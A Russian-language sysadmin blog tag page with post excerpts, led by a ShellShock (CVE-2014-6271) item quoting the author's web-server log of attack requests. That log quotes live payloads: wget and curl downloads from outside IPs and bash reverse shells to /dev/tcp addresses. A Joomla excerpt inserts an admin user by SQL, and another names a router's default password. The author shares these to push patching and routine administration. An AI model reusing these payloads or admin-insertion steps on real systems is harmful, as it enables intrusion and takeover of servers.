Posts Tagged ‘ Shell

Уязвимость в bash CVE-2014-6271 (ShellShock) — какеры атакуют :)

Как говорится … «не прошло и недели», как школота уже вовсю юзает недавно обнаруженную столетнюю дыру в bash. Я уже писал заметку об этой серьезной уязвимости. Данный же пост для тех толстокожих админов кто думает «А мне все пофиг, я сделан из мяса …» или так «Обновления придумали глупые программеры для того чтобы впаривать админам новые глюки старых программ» 🙂 Короче всем неверующим, коротенький листинг лога http сервера, отфильтровано по слову «bash«:

25/Sep/2014:09:22:09 "GET / HTTP/1.0" (200) "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
25/Sep/2014:22:21:23 "GET / HTTP/1.0" (200) "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
27/Sep/2014:10:45:27 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (400) "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
29/Sep/2014:13:21:13 "GET / HTTP/1.1" (200) "() { :;}; /bin/bash -c \x22echo testing9123123\x22; /bin/uname -a"
30/Sep/2014:22:34:04 "GET / HTTP/1.1" (200) "() { :;}; /bin/bash -c \x22wget http://82.221.105.197/bash-count.txt\x22"
02/Oct/2014:12:29:54 "GET / HTTP/1.0" (444) "() { :; }; /bin/bash -c 'wget http://185.10.58.175/agent'"
02/Oct/2014:13:17:57 "GET / HTTP/1.0" (444) "() { :; }; /bin/bash -c '/usr/bin/wget http://185.10.58.175/agent'"
15/Oct/2014:22:13:56 "GET /cgi-bin/gsweb.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:56 "GET /cgi-bin/redirector.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:58 "GET /cgi-bin/test.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:58 "GET /cgi-bin/index.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:59 "GET /cgi-bin/help.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:59 "GET /cgi-bin/details.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:00 "GET /cgi-bin/log.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:01 "GET /cgi-bin/viewcontent.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:02 "GET /cgi-bin/vidredirect.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:02 "GET /cgi-bin/mailview.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:02 "GET /cgi-bin/webmail.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:03 "GET /cgi-bin/finger.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:03 "GET /cgi-bin/click.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:14 "GET /cgi-bin/content.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
20/Oct/2014:16:51:34 "GET /cgi-bin/bit.cgi HTTP/1.0" (404) "() { :;}; /bin/bash -c \x22cd /var/tmp ; rm
29/Oct/2014:21:41:45 "GET /cgi-sys/entropysearch.cgi HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
29/Oct/2014:21:41:45 "GET /cgi-sys/FormMail-clone.cgi HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
29/Oct/2014:21:41:46 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
29/Oct/2014:21:41:46 "GET /index.php HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
30/Oct/2014:00:39:42 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (444) "() { ignored;};/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1"
31/Oct/2014:11:04:10 "GET /cgi-bin/bit.cgi HTTP/1.0" (404) "() { :;}; /bin/bash -c \x22cd /var/tmp ; rm
01/Nov/2014:00:02:49 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (404) "() { :;}; /bin/bash -c \x22cd /tmp;wget 61.156.8.189/use;curl -O

И поверьте, это сервер на котором всего пара захудалых web сайтов с посещением до 10 чел/сутки, на бойких серверах популярных ресурсов таких запросов сотни, ато и тысячи в сутки 🙂
Читайте новости, обновляйтесь, проверяйте свои сервера, мониторьте нагрузку и тд, если не хотите стать участником бот-нета!
Читать полностью

Серьезная проблема с Bash — срочно обновиться!

Вот так нежданно-негаданно в мире Open Source вылезла еще одна масштабная проблема. Мир еще не успел оправиться от дырок в OpenSSL (все помнят Heartbleed), а тут на тебе — оказывается «фундамент тоже сыроват»! На этот раз свинью подложил Bash! А ведь он основной shell почти во всех дистрибутивах Linux и часто активно юзается админами *BSD! Уловили масштаб трагедии??? Можно подумать, ну баш и баш — что такого то? Проблема в том что он так или иначе связан с серьезными системными сервисами, например sshd, apache, git, некоторыми ftp и тд. Не говоря уже о том что ленивые админы и программисты не желая разбираться в хитроумных встроенных библиотеках python, perl и прочих языков в том или ином виде юзают «башизмы в CGI скриптах (сам такой, реализация find в perl выедает мне моск), которые выставлены в Интернет на всеобщее обозрение и легко могут быть использованы со злым умыслом 🙂 Сама суть проблемы в том что злоумышленник может через тот же ssh или apache подменить переменные ENV, что позволит ему удаленно выполнять произвольный код на системе жертвы без какойлибо авторизации! Заманчиво? Глядите на простейшую реализацию хака … простота неописуемая! Но идем дальше … Читать полностью

Joomla — Сброс пароля админа «по быстрому»!

Есть сайт на Joomla, доступ к ней забыт 150 лет назад, вот попросили в нем покопаться, обновить и проверить все ли в порядке 🙂 Туманная задача, но для начала надо бы хоть в админку попасть. Это оказалось не так сложно, имея доступ к SQL базе, можно вот такими двумя командами sql получить админский доступ в консоль Joomla:

mysql> INSERT INTO `pref_users` (`name`, `username`, `password`, `params`) VALUES ('Administrator2', 'newadmin', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '');
Query OK, 1 ROW affected (0.00 sec)

mysql> INSERT INTO `pref_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
Query OK, 1 ROW affected (0.00 sec)

mysql> quit

Теперь у нас в Joomla появился пользователь newadmin с паролем secret.
Читать полностью

Proftpd Bruteforce — Достойный ответ для подбирателей паролей

Бредовое вступление.
Давно я чтото не делился с вами своими простенькими поделиями на bash. Не от того что перестал их писать, просто лень описывать 🙂 Но вот чтото захотелось …. Ловите!

Последнее время розвелось много ботов-подбирателей паролей ко всему чему угодно. Рано или поздно это надоедает! Да и ничего хорошего от ботов ждать не приходится, только создают никому ненужную сетевую активность, засоряют логи и грузят сервис непотребными действиями. Решил дать достойный отпор, ибо задолбало!
Потихоньку-неспеша накропал такой вот скриптец, который брутфорсеров отправляет в некую таблицу фаервола, где им имитируется 99% потерь в канале 🙂
Читать полностью

Debian — backup pgSQL баз

Итак, делать бэкапы своих любимых и не очень БД не прихоть, а необходимость. Только подумайте, как вас «погладит по головке» руководство когда вы потеряете какую нибудь базу. Конечно же, молодые-зеленые лихачи-админы сразу могут возразить — мол как это, потерять базу? Такое разве возможно? У меня супер-пупер сервер с хардварный рейдом и новомодной файловой системой 🙂 До кучи огромный УПС и дизель за окном… Все это, конечно, классно, но от перепадов сетевого напряжение, пропадания оного, заливания водой серверной/сети БП, засыпания снегом и прочих радостей никто не застрахован 🙂 Да и уверены ли вы на 100% что ваш дизель заведется? Вы каждый день его тестируете? Поверьте, если есть хоть малейшая вероятность случиться беде — она обязательно случится, притом, в самый неподходящий момент (тем кто незнаком с законами Мёрфи — прошу ознакомиться!)
Спор о целесообразности бэкапов бесконечен — я из тех кто терял базы, с тех пор я делаю бэкапы … даже тестовых баз, если позволяет место. Читать полностью

BASH скрипт для поиска дубликатов текстовых файлов

Недавно какогото лешего взбрело в голову kmail и он затянул с почтового сервера все сообщения еще раз. В итоге получилось по 2 экземпляра всех входящих писем. Руками удалять — лень. Решил написать небольшой баш сркипт, вот так вышло:

#!/bin/bash

WORK_DIR="/home/black/.kde/share/apps/kmail/mail/inbox/cur"
LIST_ALL=`ls $WORK_DIR`

for MSG in $LIST_ALL
 do
  FILE_SIZE=`ls -l $WORK_DIR/$MSG |awk '{print $5}'`
  LIST_NEW=`find $WORK_DIR -size ${FILE_SIZE}c |grep -v $MSG`
    for TEST_MSG in $LIST_NEW
      do
         diff $TEST_MSG $WORK_DIR/$MSG > /dev/null && echo "Duplicate for $MSG is - $TEST_MSG" && rm $TEST_MSG
      done
done

Отлично отработал. Читать полностью

ADSL модем Zyxel P660RT2 и telnet

Вот довелось поковырять сию железяку через telnet, так как админка через web отказалась открываться. Все что надо было сделать — отрубить DHCP сервер. Законектиться удалось без проблем с одной из линуксовых машинок в локалке. Для этого в терминале вводим:

admin@ws:~$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

Password: ****
Copyright (c) 1994 - 2007 ZyXEL Communications Corp.
P660RT2>

И вводим пароль 1234 (это умолчательный пароля для Zyxel P660RT2 и в моем случае был именно он, у вас может быть другой). Читать полностью

Знакомство с winexe или как рулить виндой из по Linux

Недавно совершенно случайно узнал о чудесной проге под названием winexe. Прелесть программы в том что она позволяет рулить виндовым сервером удаленно прямо из Linux/UNIX shell (проще говоря, линуховой консоли). Короче, наткнувшись гдето в инете на подобное описание сразу захотелось покрутить. Но проблема номер раз — в репозитариях моего горячо любимого Debian программы нету 🙁 Ну чтож, в опенсорс прелесть в том что этот самый сорс можно найти и скомпились, коли руки ростут одтуда одкуда надо 😀 Но честно говоря, проверять собственную пряморукость не пришлось, так как в гугле довольно быстро нашелся готовый deb пакет (правда под Ubuntu) которые вмиг установился командой

root@black:~# dpkg -i _path_to_deb_

Читать полностью

Проблемка с правами после миграции на другой сервер ISP Manager-ом

После миграции на другой сервер ISP Manager-ом в почтовых логах то и дело появлялись строчки примерно такого содержания:

Jul 20 17:23:40 server dovecot: POP3(mailuser@some.domain.ua): open(/home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log) failed: Permission denied (euid=1069(virtuser_1069) egid=1006(ISPUser) missing +r perm: /home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log)
Jul 20 17:26:40 server dovecot: POP3(mailuser@some.domain.ua): open(/home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log) failed: Permission denied (euid=1069(virtuser_1069) egid=1006(ISPUser) missing +r perm: /home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log)
Jul 20 17:29:43 server dovecot: POP3(mailuser@some.domain.ua): open(/home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log) failed: Permission denied (euid=1069(virtuser_1069) egid=1006(ISPUser) missing +r perm: /home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log)
Jul 20 17:32:46 server dovecot: POP3(mailuser@some.domain.ua): open(/home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log) failed: Permission denied (euid=1069(virtuser_1069) egid=1006(ISPUser) missing +r perm: /home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log)
Jul 20 17:35:46 server dovecot: POP3(mailuser@some.domain.ua): open(/home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log) failed: Permission denied (euid=1069(virtuser_1069) egid=1006(ISPUser) missing +r perm: /home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log)
Jul 20 17:38:46 server dovecot: POP3(mailuser@some.domain.ua): open(/home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log) failed: Permission denied (euid=1069(virtuser_1069) egid=1006(ISPUser) missing +r perm: /home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log)
Jul 20 17:41:46 server dovecot: POP3(mailuser@some.domain.ua): open(/home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log) failed: Permission denied (euid=1069(virtuser_1069) egid=1006(ISPUser) missing +r perm: /home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log)
Jul 20 17:44:49 server dovecot: POP3(mailuser@some.domain.ua): open(/home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log) failed: Permission denied (euid=1069(virtuser_1069) egid=1006(ISPUser) missing +r perm: /home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log)
Jul 20 17:47:49 server dovecot: POP3(mailuser@some.domain.ua): open(/home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log) failed: Permission denied (euid=1069(virtuser_1069) egid=1006(ISPUser) missing +r perm: /home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log)
Jul 20 17:50:49 server dovecot: POP3(mailuser@some.domain.ua): open(/home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log) failed: Permission denied (euid=1069(virtuser_1069) egid=1006(ISPUser) missing +r perm: /home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log)
Jul 20 17:54:07 server dovecot: POP3(mailuser@some.domain.ua): open(/home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log) failed: Permission denied (euid=1069(virtuser_1069) egid=1006(ISPUser) missing +r perm: /home/ISPUser/data/email/some.domain.ua/mailuser/mail/.imap/INBOX/dovecot.index.log)

Читать полностью

BackUP for MySQL Bases

Чтото сегодня параноя окончательно сьела мой мозг …. и я решился сделать бекап своих мускульных баз. Даже незнаю с чего бы это … вроде все исправно работает, да и спится ночью хорошо 😀 Но вдруг потянуло на подвиг — забекапиться. К слову сказать, бекапов мускула я вообще никогда не делал, и даже не успел об этом пожалеть. Но желание отчегото появилось. Так почему бы не попробовать реализовать?

Утилитка для этого дела искалась недолго — благо все есть в поставке самого MySQL. Называется mysqldump. Пользоваться проще пареной репы. Читать полностью